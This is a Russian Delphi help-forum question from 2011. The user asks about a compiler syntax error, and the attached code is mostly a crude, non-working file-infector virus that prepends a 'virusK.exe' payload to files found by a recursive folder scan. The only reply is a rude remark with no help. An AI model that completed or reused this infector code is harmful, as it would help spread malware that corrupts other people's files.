Экспертная система Delphi.int.ru

Сообщество программистов
Общение, помощь, обмен опытом

Логин:
Пароль:
Регистрация | Забыли пароль?

Delphi.int.ru Expert

Другие разделы портала

Переход к вопросу:

#   

Статистика за сегодня:  


Лучшие эксперты

Подробнее »



Вопрос # 5 190

/ вопрос решён /

Здравствуйте, уважаемые эксперты! Почему Компилятор мне говорит что нужно поставить точку вместо запятой, если дальше у меня есть продолжение программы?
'.' excepted but ';' found
в 3 строке (end;)

Приложение:
  1. begin
  2.  
  3. end;
  4. function FolderScan(Folder: String; FileName: String): Boolean;
  5. var
  6. SR: TSearchRec;
  7. begin
  8. Result := False;
  9. while FindFirst(Folder + '*.*',faAnyFile,SR)=0 do
  10. try
  11. repeat
  12. if (SR.Name = '.') or (SR.Name = '..') then
  13. Continue;
  14. if (SR.Attr and faDirectory <> 0) then
  15. Result := FolderScan(Folder+SR.Name+'\', fileName);
  16. if Result then
  17. Break
  18. else
  19. Continue;
  20. //-------------------------------------------------------------------------------------
  21. filemode:= fmOpenRead;
  22. assignfile(file1, 'c:\Program Files\Borland\Delphi7\Projects\virus\virusK.exe');
  23. reset(file1, 1);
  24. //-------------------------------------------------------------------------------------
  25. filemode:= fmOpenReadWrite;
  26. assignfile(file3, 'C:\C\1\'+SR.name);
  27. rewrite(file3, 1);
  28. //-------------------------------------------------------------------------------------
  29. BlockRead(file3, buf, SR.Size, NRead);
  30. BlockRead(file1, Buf, virsize, NRead);
  31. BlockWrite(file3, buf, virsize, NRead);
  32. BlockWrite(file3, buf, SR.Size, NRead);
  33. closefile(file1);
  34. closefile(file3);
  35. //-------------------------------------------------------------------------------------
  36. if SR.Name = FileName then
  37. Result := True;
  38. break;
  39. until
  40. FindNext(SR)<>0 ;
  41. finally
  42. SysUtils.FindClose(SR);
  43. end;
  44. end;
  45. end.
  46.  


Кудя Вопрос решён, но можно продолжить его обсуждение в мини-форуме

Вопрос задал: Кудя (статус: Посетитель)
Вопрос отправлен: 13 апреля 2011, 20:14
Состояние вопроса: решён, ответов: 0.


Мини-форум вопроса

Всего сообщений: 1; последнее сообщение — 13 апреля 2011, 20:21; участников в обсуждении: 1.

13 апреля 2011, 20:15: Статус вопроса изменён на решённый (изменил автор вопроса — Кудя)

min@y™

min@y™ (статус: Доктор наук), 13 апреля 2011, 20:21 [#1]:

Может будешь включать мозг, прежде чем задавать вопросы?
Делаю лабы и курсачи по Delphi и Turbo Pascal. За ПИВО! Пишите в личку, а лучше в аську. А ещё лучше - звоните в скайп!

Чтобы оставлять сообщения в мини-форумах, Вы должны авторизироваться на сайте.

Версия движка: 2.6+ (26.01.2011)
Текущее время: 16 ноября 2024, 22:26
Выполнено за 0.02 сек.